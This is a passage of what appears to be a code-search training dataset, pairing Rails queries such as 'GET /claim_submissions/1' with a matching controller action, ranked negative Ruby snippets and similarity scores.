"def initialize(buffer_target, buffer_usage = GL::STREAM_DRAW, element_count = 0, element_size = Fiddle::SIZEOF_FLOAT)\r\n @element_count = element_count\r\n @element_size = element_size\r\n @buffer_target = buffer_target\r\n\r\n buf = Fiddle::Pointer.malloc(Fiddle::SIZEOF_INT)\r\n GL.GenBuffers(1, buf)\r\n @buffer_id = buf[0, Fiddle::SIZEOF_INT].unpack1('L')\r\n\r\n GL.BindBuffer(@buffer_target, @buffer_id)\r\n GL.BufferData(@buffer_target, @element_count * @element_size, NullPtr, buffer_usage)\r\n GL.BindBuffer(@buffer_target, 0)\r\n end",
"def initWall\n startPoint = @@brickLength / 4\n height = 0\n for j in 0..14 do\n for i in 0..5 do\n vt = Vector3f.new(i * @@brickLength * 2 + startPoint, @@brickHeight + height, 0)\n makeBrick(vt)\n end\n startPoint = -startPoint\n height += 2 * @@brickHeight\n end\n end",
"def initialize(y, c, m)\n @year = y\n @color = c\n @model = m\n @speed = 0\n @ignition = false\n end",
"def create_materials_window\n width = Graphics.width / 2\n @materials_window = Window_ForgeMaterials.new(0, 0, width)\n y = Graphics.height - @materials_window.height\n #y = @gold_window.y - @materials_window.height\n @materials_window.y = y\n end",
"def initialize(config_obj)\n @name = config_obj[:name]\n @scene = config_obj[:scene]\n @points = 0.0\n end"
] |
[
"0.7218433",
"0.6365604",
"0.6299344",
"0.61007434",
"0.5911895",
"0.5872389",
"0.5635595",
"0.5551103",
"0.5492953",
"0.54854167",
"0.53656685",
"0.53372777",
"0.5322898",
"0.52987057",
"0.5292068",
"0.52403736",
"0.5221845",
"0.51984245",
"0.5195289",
"0.51843226",
"0.517461",
"0.51597136",
"0.51321906",
"0.51242363",
"0.50926375",
"0.5092168",
"0.5078034",
"0.50741285",
"0.50717664",
"0.5061756",
"0.50439066",
"0.5029869",
"0.4985798",
"0.4972058",
"0.49574983",
"0.4950197",
"0.49317083",
"0.49280116",
"0.49266937",
"0.4921554",
"0.49189284",
"0.49168515",
"0.49016556",
"0.4897894",
"0.48544756",
"0.48502928",
"0.48447353",
"0.48372877",
"0.48237112",
"0.48215663",
"0.48210087",
"0.4814657",
"0.4814657",
"0.47954023",
"0.4765868",
"0.47618607",
"0.4757785",
"0.47568512",
"0.47486782",
"0.47409952",
"0.47126064",
"0.469421",
"0.4690138",
"0.4689951",
"0.46885327",
"0.46856558",
"0.46784395",
"0.46740952",
"0.4670306",
"0.46543375",
"0.4651478",
"0.46498567",
"0.46419084",
"0.463717",
"0.4635477",
"0.46087733",
"0.46045348",
"0.45855647",
"0.45831555",
"0.45831555",
"0.45787165",
"0.45738044",
"0.4568065",
"0.45670816",
"0.45668143",
"0.45653188",
"0.45647407",
"0.45573446",
"0.45556793",
"0.45328873",
"0.45323813",
"0.45238757",
"0.4522598",
"0.45090166",
"0.45090166",
"0.45071372",
"0.44902647",
"0.44772166",
"0.4476715",
"0.4475264"
] |
0.656252
|
1
|
GET /claim_submissions/1 GET /claim_submissions/1.json
|
def show
@claim_submission = ClaimSubmission.find(params[:id])
respond_to do |format|
format.html # show.html.erb
format.json { render json: @claim_submission }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def new\n @claim_submission = ClaimSubmission.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @claim_submission }\n end\n end",
"def show\n @submissions = Contests.get_contest_submissions(params[:id])\n unless @submissions.nil?\n render json: @submissions\n return\n end\n end",
"def retrieve_submission\n template = tool_proxy_from_guid.submission_service_url\n template&.gsub!('{submission_id}', params[:tc_submission_id])\n template&.gsub!('{assignment_id}', 'assignment_id')\n response = HTTParty.get(template, headers: { 'Authorization' => \"Bearer #{access_token}\" })\n JSON.parse(response.body)\n end",
"def create\n @claim_submission = ClaimSubmission.new(params[:claim_submission])\n\n respond_to do |format|\n if @claim_submission.save\n format.html { redirect_to @claim_submission, notice: 'Claim submission was successfully created.' }\n format.json { render json: @claim_submission, status: :created, location: @claim_submission }\n else\n format.html { render action: \"new\" }\n format.json { render json: @claim_submission.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @email_submission = EmailSubmission.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @email_submission }\n end\n end",
"def show\n @email_submission = EmailSubmission.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @email_submission }\n end\n end",
"def create\n submission = Submission.new(submission_params)\n unless submission.save\n render json: {errors: submmission.errors.full_messages}, status: :bad_request\n return\n end\n\n claim = Claim.new(\n insured_id: submission.insured_id,\n provider_id: submission.provider_id\n )\n unless claim.save\n submission.delete\n render json: {errors: claim.errors.full_messages}, status: :bad_request\n return\n end\n\n submission.claim = claim\n unless submission.save\n submisson.delete\n claim.delete\n render json: {errors: submmission.errors.full_messages}, status: :bad_request\n return\n end\n\n render json: {submission: submission.id, claim: claim.id}\n end",
"def show\n @submission = Submission.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @submission }\n end\n end",
"def show\n @submission = Submission.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @submission }\n end\n end",
"def show\n \t@submission = @job.submissions.find(params[:id])\n end",
"def show\n @submission = Submission.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @submission }\n end\n end",
"def show\n @submission = Submission.in_conference(current_conference).\n find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @submission }\n end\n end",
"def index\n @submissions = Submission.all\n end",
"def index\n @submissions = Submission.all\n end",
"def index\n @submissions = Submission.all\n end",
"def index\n @submissions = Submission.all\n end",
"def index\n @submissions = current_user.submissions.all\n end",
"def index\n @funding_application_submissions = FundingApplicationSubmission.all\n end",
"def index\n @research_submissions = ResearchSubmission.all\n end",
"def index\n @submission_details = SubmissionDetail.all\n end",
"def index\n @form_submissions = policy_scope(FormSubmission)\n end",
"def update\n @claim_submission = ClaimSubmission.find(params[:id])\n\n respond_to do |format|\n if @claim_submission.update_attributes(params[:claim_submission])\n format.html { redirect_to @claim_submission, notice: 'Claim submission was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @claim_submission.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @submission_responses = SubmissionResponse.all\n end",
"def index\n @email_submissions = EmailSubmission.filter(:params => params)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @email_submissions }\n end\n end",
"def show\n @submission = Submission.find(params[:submission_id])\n end",
"def submission_api\n # noinspection RubyMismatchedReturnType\n api_service(SubmissionService)\n end",
"def destroy\n @claim_submission = ClaimSubmission.find(params[:id])\n @claim_submission.destroy\n\n respond_to do |format|\n format.html { redirect_to claim_submissions_url }\n format.json { head :no_content }\n end\n end",
"def index\n @device_submissions = DeviceSubmission.all\n end",
"def show\n @submission = Submission.find(params[:id])\n end",
"def index\n @contest = Contest.find_by(path: params[:contest])\n @participant = @contest.participants.find_by(path: params[:participant])\n @submits = @participant.submits\n\n @navpill\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @submits }\n end\n end",
"def new\n @email_submission = EmailSubmission.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @email_submission }\n end\n end",
"def index\n @task_submissions = TaskSubmission.all\n end",
"def list_submissions\n @assignment = Assignment.find(params[:id])\n @teams = Team.where(parent_id: params[:id])\n end",
"def index\n @contact_submissions = ContactSubmission.all\n end",
"def index\n if params.key? :assignment_id\n @submissions = Submission.where(assignment_id: params[:assignment_id])\n else\n @submissions = Submission.where(user_id: current_user.id)\n end\n if @submissions.is_a?(FalseClass)\n @submissions = []\n end\n\n end",
"def index\n if current_profile\n @submissions = Submission.filtered_for_profile(current_profile, for_profile: @profile, page: params[:page], per_page: params[:per_page]) # no scopes (see method)\n else\n# @submissions = @profile.collaborated_submissions.published.unfiltered.ordered\n @submissions = @profile.submissions.published.unfiltered.ordered.paginate(page: params[:page], per_page: params[:per_page])\n end\n\n respond_to do |format|\n format.html do\n @thumbnails = Chimerao::Thumbnail.build_from_images(@submissions, thumbnail_size)\n end\n format.json { render '/submissions/index' }\n end\n end",
"def new\n @challenge = current_open_challenge\n submission = Entry.find_by_challenge_id_and_user_id(@challenge.id, current_user.id)\n \n if submission.blank?\n @entry = Entry.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @entry }\n end\n else\n respond_to do |format|\n format.html { redirect_to submission }\n format.json { render json: submission }\n end\n end\n end",
"def get_submissions\n puts \"== searching for whoishiring submissions ==\"\n @items ||= HiringTrends::ItemSearch.new.execute\n end",
"def find_kapp_submissions(kapp_slug, params={}, headers=default_headers)\n # Get next page token\n token = params[\"pageToken\"]\n if token.nil?\n @logger.info(\"Finding first page of submissions for the \\\"#{kapp_slug}\\\" Kapp.\")\n else\n @logger.info(\"Finding page of submissions starting with token \\\"#{token}\\\" for the \\\"#{kapp_slug}\\\" Kapp.\")\n end\n\n # Build Submission URL\n url = \"#{@api_url}/kapps/#{kapp_slug}/submissions\"\n # Return the response\n get(url, params, headers)\n end",
"def get_own_submissions\n submissions_hash = {}\n self.submissions.each do |submission|\n submissions_hash[submission.milestone_id] = submission\n end\n return submissions_hash\n end",
"def get_submission_workflow\n begin\n submission = user_fire_cloud_client(current_user).get_workspace_submission(@user_workspace.namespace, @user_workspace.name, params[:submission_id])\n render json: submission.to_json\n rescue => e\n logger.error \"#{Time.now}: unable to load workspace submission #{params[:submission_id]} in #{@user_workspace.name} due to: #{e.message}\"\n render js: \"alert('We were unable to load the requested submission due to an error: #{e.message}')\"\n end\n end",
"def show\n @resubmit = Resubmit.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @resubmit }\n end\n end",
"def index\n if params[:user_id] && user = User.find(params[:user_id])\n @submissions = Submission.find_all_by_user_id user.id\n else\n @submissions = Submission.all\n end\n end",
"def index\n\n @submissions = Submission.all\n authorize! :manage, @submissions\n end",
"def show\n @submitted_answer = SubmittedAnswer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @submitted_answer }\n end\n end",
"def get_submission\n @submission = Submission.find_by_id(params[:submission_id])\n return if check_nil_object(@submission)\n @problem = @submission.problem\n end",
"def index\n @submissions = Submission.in_conference(current_conference).\n paginate(:page => params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n end\n end",
"def get_submission\n @submission = Submission.find_by_id(params[:id])\n return if check_nil_object(@submission)\n @problem = @submission.problem\n end",
"def index\n @submissions = Submission.all.reverse\n @watch = params[:watch].to_i\n if @watch == 0 then \n @watch = nil\n end\n if @watch then\n my_submission = (@submissions.select do |x| x.id == @watch end)[0]\n @watch = nil if my_submission && (not self.class.helpers.now_judging?(my_submission))\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @submissions }\n end\n end",
"def individual_submissions\n \tif params.has_key?(:select_student) and params[:select_student] != \"\"\n \t\t\t@student = @course.user_courses.find_by_id(params[:select_student])\n \t\tend\n\n \t\tif @student\n \t\t\t@submissions = @guidance_quiz.submissions\n \t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t .where(std_course_id: @student.id)\n \t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t .order(\"created_at DESC\")\n \t\telse\n \t\t\t@submissions = []\n \t\tend\n\n \t\tif @student and params.has_key?(:select_submission) and params[:select_submission] != \"\"\n \t\t\t@chosen_submission = @guidance_quiz.submissions\n \t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t .where(std_course_id: @student.id,\n \t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \t\t\t\tid: params[:select_submission])\n \t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t .first\n data_synchronise_submission @chosen_submission\n \t\tend\n\n \t\tif @chosen_submission\n \t\t\t@concept_stages = Assessment::GuidanceConceptStage.get_passed_stages @chosen_submission\n\t enabled_concepts = Topicconcept.joins(\"INNER JOIN assessment_guidance_concept_options ON assessment_guidance_concept_options.topicconcept_id = topicconcepts.id\")\n\t .concepts\n\t .where(topicconcepts: {course_id: @course.id}, assessment_guidance_concept_options: {enabled: true})\n\t @achieve_percentage = @concept_stages.size * 100 / enabled_concepts.size; \n\t @achieve_correct_amount = @chosen_submission.mcq_answers.where(assessment_answers: {correct: true}).size\n\t @achieve_wrong_amount = @chosen_submission.mcq_answers.where(assessment_answers: {correct: false}).size \n\t @achieve_rating = 0\n\t @concept_stages.each do |stage|\n\t @achieve_rating += stage.rating_right\n\t end\n \t\tend\n end",
"def show\n @submission = Submission.new\n @submission.responses.build\n @response = Response.new\n\n end",
"def show\n authorize! :manage, @submissions\n end",
"def get_submission(course_id, assignment_id, student_id)\n request = Net::HTTP::Get.new(\n \"/api/v1/courses/#{course_id}/assignments/#{assignment_id}/submissions/#{student_id}?access_token=#{Rails.application.secrets.canvas_access_token}\"\n )\n response = open_canvas_http.request(request)\n\n info\n end",
"def submissions(blog_name, options = {})\n validate_options([:limit, :offset], options)\n get(blog_path(blog_name, 'posts/submission'), options)\n end",
"def new\n @resubmit = Resubmit.new\n\n @resubmit.assignment_id = params[:assignmentId]\n @resubmit.hit_id = params[:hitId]\n @resubmit.worker_id = params[:workerId]\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @resubmit }\n end\n end",
"def total_submissions\n _get(\"/system/total-submissions\") { |json| json }\n end",
"def index\n @submission_results = SubmissionResult.all\n end",
"def index\n @submissions = Submission.where(category: 'identifier').where(status: 'complete')\n end",
"def new\n @emails = Email.all\n @messages = EmailMessage.all\n @email_submission = EmailSubmission.new(params[:email_submission])\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @email_submission }\n end\n end",
"def submission\n Reggora::Resources::Submission.new(config)\n end",
"def create\n @entry = Entry.new(entry_params)\n\n @entry.user_id = current_user.id\n @entry.challenge_id = current_open_challenge.id\n\n submission = Entry.find_by_challenge_id_and_user_id(@entry.challenge_id, @entry.user_id)\n \n if submission.blank?\n respond_to do |format|\n if @entry.save\n format.html { redirect_to @entry, notice: 'Entry was successfully created.' }\n format.json { render json: @entry, status: :created, location: @entry }\n else\n format.html { render action: \"new\" }\n format.json { render json: @entry.errors, status: :unprocessable_entity }\n end\n end\n else\n respond_to do |format|\n format.html { redirect_to submission }\n format.json { render json: submission }\n end\n end\n end",
"def view_submissions_for(assignment_name)\n assignment_row(assignment_name).link(:text=>\"View Submissions\").click\n AssignmentSubmissionList.new(@browser)\n end",
"def submission_of(user)\n Submission.find(challenge_id, user.username)\n end",
"def index\n @submission_records = SubmissionRecord.where(team_id: params[:team_id])\n end",
"def pending_claims\n session[:sub_nav_clicked] = 'Post Claims'\n @submit_action = 'pending_claims_update'\n begin\n visit_ids = batch_visit_ids\n @claims = Claim.paginate_pending_charges(session[:practice_id],params[:page],visit_ids)\n @patients = @claims.collect{|x|[x.patient_id,x.patient_first_name,x.patient_middle_name,x.patient_last_name]}.uniq\n @carriers = @claims.collect{|x|[x.carrier_name,x.carrier_id]}.uniq\n find_claim_error\n @controller_name = 'claims'\n @no_of_record = @claims.length\n @current_action = \"pending_claims\"\n @status = 0\n if params[:task] == \"paging\"\n respond_to do |format|\n format.html {\n render :action => 'pending_claims',:layout=>'claim'\n }\n format.js {\n render :update do |page|\n page.replace_html 'result_pager', :partial => 'post_claim'\n end\n }\n end\n end\n rescue => e\n render :text=> \" #{e.message}\"\n end\n end",
"def show\n @electronic_approval = ElectronicApproval.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @electronic_approval }\n end\n end",
"def new\n @submission = Submission.new\n @submission.problem = params[:problem].to_i if params[:problem]\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @submission }\n end\n end",
"def find_form_submissions(kapp_slug, form_slug, params={}, headers=default_headers)\n # Get next page token\n token = params[\"pageToken\"]\n if token.nil?\n @logger.info(\"Finding first page of submissions for the \\\"#{form_slug}\\\" Form.\")\n else\n @logger.info(\"Finding page of submissions starting with token \\\"#{token}\\\" for the \\\"#{form_slug}\\\" Form.\")\n end\n\n # Build Submission URL\n url = \"#{@api_url}/kapps/#{kapp_slug}/forms/#{form_slug}/submissions\"\n # Return the response\n get(url, params, headers)\n end",
"def show\n include_admin = @current_user.is_admin?\n @submissions_table = @contest.all_submissions_table(include_admin)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @problems }\n end\n end",
"def new\n @test_submission = TestSubmission.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @test_submission }\n end\n end",
"def create\n @submission = Submission.new(:student_id => current_student.id, :assignment_id => params[:assignment_id])\n\n respond_to do |format|\n if @submission.save\n @assignment = @submission.assignment\n @assignment.questions.each do |question| \n answer = SubmittedAnswer.new(:submission_id => @submission.id, :question_id => question.id)\n answer.save\n end\n format.html { redirect_to edit_submission_path(@submission), notice: 'Submission was successfully created.' }\n format.json { render json: @submission, status: :created, location: @submission }\n else\n format.html { render action: \"new\" }\n format.json { render json: @submission.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @submission = Submission.new\n if params[:session_id]\n @submission.submission_number = \"#{params[:session_id]}-\"\n end\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @submission }\n end\n end",
"def index\n submission = Submission.find(params[:submission_id])\n @test_case_results = submission.test_case_results\n end",
"def index\n @tr_rfq_submissions = TrRfqSubmission.all\n end",
"def single_issue_request_response(fq_repo_name, issue_id)\n repository_url = \"https://api.github.com/repos/#{fq_repo_name}\"\n {\n \"id\" => issue_id,\n \"url\" => \"https://api.github.com/repos/#{fq_repo_name}/issues/#{issue_id}\",\n \"number\" => issue_id,\n \"repository_url\" => repository_url,\n \"labels\" => [\n {\"name\" => \"bug\"},\n {\"name\" => \"wip\"}\n ]\n }.to_json\n end",
"def get_workspace_submissions\n # submissions are loaded from load_valid_submissions\n render '/user_workspaces/submissions/get_workspace_submissions'\n end",
"def member_claims\n leaf_encounters = Encounter.latest.submitted.where(member_id: params[:id])\n leaf_encounters = leaf_encounters.where('encounters.submitted_at >= ?', @start_date) if @start_date\n leaf_encounters = leaf_encounters.where('encounters.submitted_at <= ?', @end_date) if @end_date\n all_matching_encounters = Encounter.where(claim_id: leaf_encounters.pluck(:claim_id))\n claims = Encounter.to_claims(all_matching_encounters)\n render json: ClaimRepresenter.for_collection.new(claims).to_hash\n end",
"def show\n @my_posted_homework = MyPostedHomework.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @my_posted_homework }\n end\n end",
"def get_submission2\n @submission = Submission.find_by_id(params[:submission_id])\n return if check_nil_object(@submission)\n @problem = @submission.problem\n end",
"def submit_form_2122\n validate_json_schema\n\n power_of_attorney = ClaimsApi::PowerOfAttorney.find_using_identifier_and_source(header_md5: header_md5,\n source_name: source_name)\n unless power_of_attorney&.status&.in?(%w[submitted pending])\n power_of_attorney = ClaimsApi::PowerOfAttorney.create(\n status: ClaimsApi::PowerOfAttorney::PENDING,\n auth_headers: auth_headers,\n form_data: form_attributes,\n source_data: source_data,\n header_md5: header_md5\n )\n\n unless power_of_attorney.persisted?\n power_of_attorney = ClaimsApi::PowerOfAttorney.find_by(md5: power_of_attorney.md5)\n end\n\n power_of_attorney.save!\n end\n\n ClaimsApi::PoaUpdater.perform_async(power_of_attorney.id)\n\n render json: power_of_attorney, serializer: ClaimsApi::PowerOfAttorneySerializer\n end",
"def index\n @borrow_requests = current_user.borrow_requests.actionable\n @pending_approvals = current_user.approvals.where(\"status = 'pending'\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @borrow_requests }\n end\n end",
"def show\n @normal_issue = NormalIssue.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @normal_issue }\n end\n end",
"def process_claim!\n assert_veteran_status\n\n carma_submission = CARMA::Models::Submission.from_claim(claim, build_metadata).submit!\n\n Form1010cg::Submission.new(\n carma_case_id: carma_submission.carma_case_id,\n submitted_at: carma_submission.submitted_at\n )\n end",
"def index\n @submission_methods = SubmissionMethod.all\n end",
"def show\n @contribution = Contribution.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @contribution }\n end\n end",
"def ajax_claim\n billing_id = params[:eob][:insurance_billing_id]\n # pull the specific claim\n @claim = InsuranceBilling.find(billing_id, :joins => [:insurance_session, :subscriber])\n @notes = @claim.insurance_session.notes\n\n respond_to do |format|\n format.html {render :nothing => true}\n format.js {render :layout => false }\n end\n end",
"def show\n @claimant = Claimant.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @claimant }\n end\n end",
"def show\n @submission = Submission.find(params[:id])\n auth!\n \n # IMPORTANT: .load must be at the end of the collection to eager load and prevent the actual object from being deleted!\n @other_submissions = @submission.content.submissions.to_a\n \n # remove the current submission from the collection of its content's related submissions\n @other_submissions.delete(@submission)\n\n # Enforce the correct feed ID in the URL\n if @submission.feed != @feed\n redirect_to feed_submissions_path(params[:feed_id])\n end\n auth!\n\n respond_to do |format|\n format.html { }\n format.js { }\n end\n end",
"def index\n @resubmits = Resubmit.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @resubmits }\n end\n end",
"def show\n @submitter = Submitter.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @submitter }\n end\n end",
"def show\n @medium_specie_job_inv = MediumSpecieJobInv.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @medium_specie_job_inv }\n end\n end",
"def show\n @inquirement = Inquirement.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @inquirement }\n end\n end",
"def submissions\n page = @client.get_nokogiri @url\n @submissions ||= page.css('.gradeTable tbody tr').map { |tr|\n begin\n Stellar::Homework::Submission.new tr, self\n rescue ArgumentError\n nil\n end\n }.reject(&:nil?)\n end",
"def show\n @patient_risk_factor = PatientRiskFactor.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @patient_risk_factor }\n end\n end",
"def index\n @submitters = Submitter.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @submitters }\n end\n end",
"def create\n if request.headers['Content-Disposition']\n filename = request.headers['Content-Disposition'].split('filename=').last\n filename = filename.scan(/(?<=\")[^\"]+/).first if filename.include?('\"')\n filename = filename.split('/').last.split('.')\n extension = filename.pop\n name = filename.join('.')\n tmp_file = \"#{Rails.root}/tmp/#{name}.#{extension}\"\n id = 0\n while File.exists?(tmp_file)\n id += 1\n tmp_file = \"#{Rails.root}/tmp/#{name}-#{id}.#{extension}\"\n end\n File.open(tmp_file, 'wb') do |f|\n f.write request.body.read\n end\n c = Cocaine::CommandLine.new('file', '-b --mime-type :file')\n mime_type = c.run(file: tmp_file).strip\n\n if Submission::STORY_CONTENT_TYPES.include?(mime_type)\n @submission = SubmissionStory.new\n doc = Parchment.read(tmp_file)\n @submission.description = doc.to_html.gsub('\\\\n', '')\n else\n @submission = Submission.new\n end\n File.open(tmp_file) do |f|\n @submission.file = f\n end\n\n # Dancing around strong params\n params[:submission] = {}\n params[:submission][:cheat] = \"This should be rejected, but is necessary.\"\n else\n @submission = Submission.new(submission_params)\n end\n\n @submission.profile = current_profile\n @submission.save!\n\n FileUtils.rm(tmp_file) if tmp_file\n\n if 'SubmissionImage' == @submission.type\n SubmissionImage.find(@submission.id).save_metadata # needs to be done separately, for now\n @submission.reload\n end\n\n respond_to do |format|\n if update_submission\n format.html { redirect_to @submission, notice: 'Submission was successfully updated.' }\n format.json { render '/submissions/show', status: :created, location: submission_url(@submission) }\n else\n format.html do\n set_submission_page_script\n render action: 'edit'\n end\n format.json { render json: @submission.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @submission_result = SubmissionResult.includes(:test_case_results).find(params[:id])\n end",
"def process_claim!\n raise 'submission already present' if submission.present?\n\n assert_veteran_status\n\n carma_submission = CARMA::Models::Submission.from_claim(claim, build_metadata).submit!(carma_client)\n\n @submission = Form1010cg::Submission.new(\n carma_case_id: carma_submission.carma_case_id,\n submitted_at: carma_submission.submitted_at\n )\n\n submit_attachment\n\n submission\n end",
"def show\n @submission = Submission.new\n @debate = Debate.find(params[:id])\n @submissions = @debate.submissions\n @pro_submissions = @debate.submissions.where(:sub_type => \"pro\")\n @con_submissions = @debate.submissions.where(:sub_type => \"con\")\n end",
"def view_submissions_for(assignment_name)\n frm.table(:class=>\"listHier lines nolines\").row(:text=>/#{Regexp.escape(assignment_name)}/).link(:text=>\"View Submissions\").click\n AssignmentSubmissionList.new(@browser)\n end"
] |
[
"0.6813238",
"0.6807171",
"0.64583385",
"0.6272739",
"0.6244118",
"0.6244118",
"0.62435657",
"0.6182019",
"0.6182019",
"0.61767715",
"0.617586",
"0.6171506",
"0.60907423",
"0.60907423",
"0.60907423",
"0.60907423",
"0.60791945",
"0.607315",
"0.59617007",
"0.5911678",
"0.5899423",
"0.58405244",
"0.5819129",
"0.5800507",
"0.5796543",
"0.57718045",
"0.5771107",
"0.57692355",
"0.57635176",
"0.57473767",
"0.5739614",
"0.57383066",
"0.57285786",
"0.57248515",
"0.5723482",
"0.57157457",
"0.566701",
"0.56621516",
"0.56508356",
"0.5636269",
"0.56243396",
"0.5600069",
"0.5578796",
"0.5577608",
"0.5577262",
"0.5568157",
"0.55670774",
"0.5564988",
"0.555958",
"0.55591464",
"0.5553848",
"0.5553075",
"0.5551651",
"0.55332935",
"0.55315727",
"0.54964346",
"0.54828763",
"0.5466878",
"0.5453897",
"0.54527366",
"0.5451524",
"0.54489475",
"0.5447743",
"0.54401904",
"0.54384756",
"0.5438383",
"0.5434416",
"0.5410543",
"0.54060036",
"0.5403218",
"0.53985274",
"0.5391433",
"0.5380272",
"0.5356046",
"0.53549",
"0.53523636",
"0.53433716",
"0.5340262",
"0.5339717",
"0.5321783",
"0.5311623",
"0.53078955",
"0.53060836",
"0.5304781",
"0.5295215",
"0.5292937",
"0.52918386",
"0.52895194",
"0.5285709",
"0.5285637",
"0.5282649",
"0.52816504",
"0.5276493",
"0.52721953",
"0.52719814",
"0.5270746",
"0.5268204",
"0.52656585",
"0.5253706",
"0.52518034"
] |
0.7241201
|
0
|
GET /claim_submissions/new GET /claim_submissions/new.json
|
def new
@claim_submission = ClaimSubmission.new
respond_to do |format|
format.html # new.html.erb
format.json { render json: @claim_submission }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create\n @claim_submission = ClaimSubmission.new(params[:claim_submission])\n\n respond_to do |format|\n if @claim_submission.save\n format.html { redirect_to @claim_submission, notice: 'Claim submission was successfully created.' }\n format.json { render json: @claim_submission, status: :created, location: @claim_submission }\n else\n format.html { render action: \"new\" }\n format.json { render json: @claim_submission.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @email_submission = EmailSubmission.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @email_submission }\n end\n end",
"def new\n @challenge = current_open_challenge\n submission = Entry.find_by_challenge_id_and_user_id(@challenge.id, current_user.id)\n \n if submission.blank?\n @entry = Entry.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @entry }\n end\n else\n respond_to do |format|\n format.html { redirect_to submission }\n format.json { render json: submission }\n end\n end\n end",
"def new\n @test_submission = TestSubmission.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @test_submission }\n end\n end",
"def create\n submission = Submission.new(submission_params)\n unless submission.save\n render json: {errors: submmission.errors.full_messages}, status: :bad_request\n return\n end\n\n claim = Claim.new(\n insured_id: submission.insured_id,\n provider_id: submission.provider_id\n )\n unless claim.save\n submission.delete\n render json: {errors: claim.errors.full_messages}, status: :bad_request\n return\n end\n\n submission.claim = claim\n unless submission.save\n submisson.delete\n claim.delete\n render json: {errors: submmission.errors.full_messages}, status: :bad_request\n return\n end\n\n render json: {submission: submission.id, claim: claim.id}\n end",
"def new\n @emails = Email.all\n @messages = EmailMessage.all\n @email_submission = EmailSubmission.new(params[:email_submission])\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @email_submission }\n end\n end",
"def new\n @submission = Submission.new\n end",
"def new\n @submission = Submission.new\n end",
"def new\n @normal_issue = NormalIssue.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @normal_issue }\n end\n end",
"def new\n @issue = Issue.new\n\n @new = true\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @issue }\n end\n end",
"def new\n get_user\n @submission = Submission.new\n end",
"def new\n @resubmit = Resubmit.new\n\n @resubmit.assignment_id = params[:assignmentId]\n @resubmit.hit_id = params[:hitId]\n @resubmit.worker_id = params[:workerId]\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @resubmit }\n end\n end",
"def new\n @issue = Issue.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @issue }\n end\n end",
"def new\n @contribution = Contribution.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @contribution }\n end\n end",
"def new\n @submission = Submission.new\n @submission.problem = params[:problem].to_i if params[:problem]\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @submission }\n end\n end",
"def new\n @request = @skill.requests.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @request }\n end\n end",
"def new\n @claimant = Claimant.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @claimant }\n end\n end",
"def new\n get_work; get_subject\n @work_has_subject = WorkHasSubject.new(:work => @work, :subject => @subject)\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @work_has_subject }\n end\n end",
